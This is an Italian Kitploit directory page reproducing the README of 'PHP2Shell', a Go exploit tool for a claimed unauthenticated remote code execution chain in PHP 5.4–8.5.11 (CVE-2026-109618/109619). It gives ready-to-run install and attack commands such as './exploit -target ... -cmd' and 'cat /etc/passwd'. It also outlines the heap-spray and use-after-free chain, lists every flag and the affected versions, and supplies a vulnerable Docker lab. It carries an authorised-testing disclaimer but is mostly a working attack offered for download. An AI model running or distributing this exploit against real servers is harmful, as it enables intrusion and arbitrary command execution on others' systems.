Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-109618-exploit — [PHP2Shell] Exploit in Golang per CVE-2026-109618 / CVE-2026-109619: RCE non autenticato in PHP 5.4–8.5.11 tramite corruzione OOM + UAF in session.upload_progress | Kitploit
Strumenti/GitHubGitHub/iamlucif3r/cve-2026-109618-exploit
Memory ForensicsAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso RemotoLab e Pratica
GitHub

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
iamlucif3r/cve-2026-109618-exploit

CVE-2026-109618-exploit

[PHP2Shell] Exploit in Golang per CVE-2026-109618 / CVE-2026-109619: RCE non autenticato in PHP 5.4–8.5.11 tramite corruzione OOM + UAF in session.upload_progress

Vedi Repository
73 giorni faNon ancora revisionato

PHP2Shell — CVE-2026-109618 / CVE-2026-109619

Esecuzione remota di codice non autenticata in PHP 5.4.0 – 8.5.11 (tutti i server web).
CVSS 9.2 Critico · Corretto il 2026-10-21 · CISA KEV 2026-10-26

Solo per test di sicurezza autorizzati — su sistemi di tua proprietà o per i quali disponi di esplicita autorizzazione scritta all'esecuzione dei test.


Utilizzo senza clonare

Opzione A — go install (la più veloce, richiede Go 1.22+)

go install github.com/IamLucif3r/CVE-2026-109618-exploit@latest
CVE-2026-109618-exploit -target http://TARGET -cmd "id"

Go non installato? Installalo in 30 secondi:

# Debian / Ubuntu / Kali
sudo apt install -y golang-go

# then run go install as above

Opzione B — Scarica il binario precompilato (da una release con tag)

I binari precompilati sono allegati a ogni GitHub Release.

# Linux x86-64 (Kali, Ubuntu, Debian, …)
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# Linux ARM64
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# macOS Apple Silicon
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# macOS Intel
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

I binari vengono compilati automaticamente da GitHub Actions quando viene inviato un nuovo tag.
Se curl restituisce un file minuscolo che dice "Not found", non esiste ancora alcuna release — usa invece l'Opzione A.


Clona + esegui (con lab integrato)

git clone https://github.com/IamLucif3r/CVE-2026-109618-exploit
cd CVE-2026-109618-exploit

make all            # start lab + run exploit in one shot
make exploit        # run exploit against lab (localhost:8888)
make exploit CMD="cat /etc/passwd"
make exploit CMD="uname -a"
make exploit TARGET=http://192.168.1.10 CMD="whoami"

Cosa fa

PHP ha due bug critici di sicurezza della memoria attivati da richieste HTTP POST multipart/form-data appositamente costruite:

CVETipoTrigger
CVE-2026-109618Corruzione della memoria (OOM)Campi multipart di grandi dimensioni esauriscono memory_limit durante il parsing, longjmp() scatta su uno stato parzialmente inizializzato
CVE-2026-109619Use-after-freeIl campo PHP_SESSION_UPLOAD_PROGRESS legge memoria del worker liberata da una richiesta precedente

Nessuno dei due bug richiede login, un endpoint speciale o codice applicativo — scattano all'interno del motore PHP prima che qualsiasi script .php venga eseguito.

Vedi docs/vulnerability.md per l'analisi tecnica completa con richieste HTTP annotate.


Come funziona l'exploit

Phase 1 (CVE-2026-109618)
  Send N large multipart POSTs → exhaust memory_limit → PHP longjmp()
  → worker's internal session/decoder state freed but NOT zeroed
  → stale pointers remain in the PHP worker heap

                     same worker process ↓

Phase 2 (CVE-2026-109619)
  POST with Cookie: PHPSESSID=<random>
        + PHP_SESSION_UPLOAD_PROGRESS field  ← fires before any app code
        + 128 KB file upload (fake PHP zval structs)
  → upload progress handler dereferences stale pointer → UAF
  → heap spray reclaims freed region → controlled write → RCE

Tutti i flag

FlagDefaultDescrizione
-targetobbligatorioURL di base, ad es. http://192.168.1.10
-path/index.phpPercorso dell'endpoint PHP
-cmdidComando OS da eseguire
-modeautoauto / modphp / fpm
-workers8Slot worker da utilizzare per lo spray
-oom-parts30Campi multipart nella Fase 1
-part-size204800Byte per campo (200 KB)
-spray-size131072Dimensione dell'heap spray (128 KB)
-timeout15sTimeout per richiesta
-verbosefalseStampa il corpo grezzo della risposta
-leak-onlyfalseSolo memory leak (analisi ASLR)

Versioni interessate

BranchUltima vulnerabileCorretta in
PHP 8.28.2.348.2.35
PHP 8.38.3.358.3.36
PHP 8.48.4.268.4.27
PHP 8.58.5.118.5.12
PHP ≤ 8.1tuttenessuna patch upstream — usare il backport della distro

Lab (ambiente Docker vulnerabile)

La directory sandbox/ contiene un target vulnerabile pronto all'uso (PHP 8.4.26 + Apache mod_php) con impostazioni predefinite che espongono entrambe le CVE.

cd sandbox
docker compose up -d        # starts on :8888
open http://localhost:8888   # attack surface dashboard
docker compose down

Riferimento rapido del Makefile

make               show all commands
make all           start lab + run exploit (one shot)
make lab           start Docker lab
make lab-stop      stop Docker lab
make lab-logs      tail Apache/PHP error logs live
make lab-shell     open bash inside the container
make exploit       build & run against lab
make exploit-fpm   FPM mode, 16 workers
make leak          memory leak mode (ASLR analysis)
make build         build binary only
Scarica lo strumento